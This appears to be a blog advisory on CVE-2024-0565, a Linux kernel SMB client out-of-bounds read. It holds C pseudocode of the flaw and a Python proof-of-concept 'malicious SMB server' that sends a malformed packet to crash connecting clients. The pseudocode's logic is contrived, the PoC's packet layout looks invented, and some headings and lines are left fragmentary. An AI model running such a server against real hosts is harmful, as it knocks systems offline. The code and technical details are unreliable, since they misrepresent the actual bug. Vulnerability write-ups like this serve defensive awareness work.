CVE-2024-0565 - Out-of-Bounds Read in Linux SMB Client Can Cause Denial of Service

In January 2024, a severe vulnerability (CVE-2024-0565) was discovered in the Linux kernel’s SMB client implementation. This issue stems from an out-of-bounds memory read caused by an integer underflow in the SMB2 protocol handling code. In this post, we'll break down the flaw in simple terms, discuss its risks, show a code snippet, and provide links for further reading.

What Is CVE-2024-0565?

CVE-2024-0565 is a security bug found in the receive_encrypted_standard function within the SMB client (fs/smb/client/smb2ops.c) in Linux. This bug is triggered by incorrect input, causing a calculation to “wrap around” and become very large (integer underflow). When this happens, the memcpy function in C ends up reading memory locations it shouldn’t, resulting in unpredictable behavior or even a kernel crash (Denial of Service).

The flaw lives in the Linux kernel source. Specifically, it’s found in this file

fs/smb/client/smb2ops.c

The function involved is called receive_encrypted_standard.

What is an Out-of-Bounds Read?

An out-of-bounds read occurs when a program tries to access data outside the memory allocated to it. With CVE-2024-0565, the Linux kernel’s SMB client can be tricked into asking for much more data than is safely available, due to a mistake involving how lengths are calculated in memory copying (memcpy).

How the Integer Underflow Happens

If the encrypted message length is less than expected, the code subtracts a bigger number from a smaller number. In C, this doesn’t result in a negative number—it "wraps around" and becomes a huge unsigned integer.

So a simple subtraction like

unsigned int data_len = msg_len - header_len;

If msg_len is smaller than header_len, data_len ends up huge—possibly xFFFFFFFE or even larger, leading to a memcpy that reads too much.

Here’s a pseudocode simplified version of the vulnerable part

unsigned int total_len = smb_msg->len;         // Expected message length
unsigned int crypt_len = smb_msg->crypt_len;   // Encrypted segment size

if (crypt_len < HEADER_SIZE) {
    // Vulnerable!
    unsigned int real_data_len = crypt_len - HEADER_SIZE; // Underflow here!
    memcpy(dst_buffer, src_buffer, real_data_len);
}

If crypt_len is less than HEADER_SIZE, then real_data_len wraps to a big number (since it is unsigned), and memcpy reads far out of intended memory bounds.

How Can This Be Exploited?

An attacker needs to control a malicious SMB server or MiTM (Man-in-The-Middle) network connection. The server can send back a response with an invalid, too-small crypt_len field. The Linux kernel SMB client subtracts HEADER_SIZE, gets a huge result, and ends up copying way too much memory into an output buffer.

Result: Faulty memory access, kernel panic, and immediate Denial of Service (DoS).

Exploit Scenario:

Proof of Concept (PoC) Example

Here’s a very simplified Python 'server' PoC for demonstration (not fully exploit-ready, for illustration only):

import socket

def smb_poison_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('', 445))
    server.listen(1)
    print("Malicious SMB server listening on port 445...")

    client, address = server.accept()
    print("Got connection from", address)

    # Send a fake SMB2 packet with crypt_len == 4 (HEADER_SIZE is 16 typically)
    bad_packet = b"\xfeSMB"                # SMB2 signature
    bad_packet += b"\x00" * 28              # Rest of SMB header
    bad_packet += b"\x04\x00\x00\x00"       # crypt_len too small (4)
    bad_packet += b"\x00" * 64              # Padding

    client.sendall(bad_packet)
    client.close()
    server.close()

if __name__ == "__main__":
    smb_poison_server()

Warning: Do not use this against any system you don’t own! It is provided for educational and defensive testing only.

Immediate denial of service (kernel panic) on victim Linux host.

- Potential for further exploitation if memory contents leak, though no arbitrary code execution known at this stage.

Mitigation and Patches

- Patch: Fixes have landed in the mainline Linux kernel repositories as of early 2024. See your distro’s advisories.

Upgrade: Make sure to update your kernel to a version after the patched release.

- Disable SMBv2 Client: If possible, disable or avoid using the Linux kernel’s SMB client on untrusted networks until you patch.

References

- CVE Record – CVE-2024-0565 (NIST)
- Red Hat Security Advisory
- Linux kernel patch discussion (LKML)
- SMB2 protocol description

Simple Takeaway

If you use a Linux system that connects to Windows or Samba shares, check your kernel version and apply security updates as soon as possible to avoid potential crashes from this bug.

Timeline

Published on: 01/15/2024 20:15:43 UTC
Last modified on: 03/19/2024 23:15:08 UTC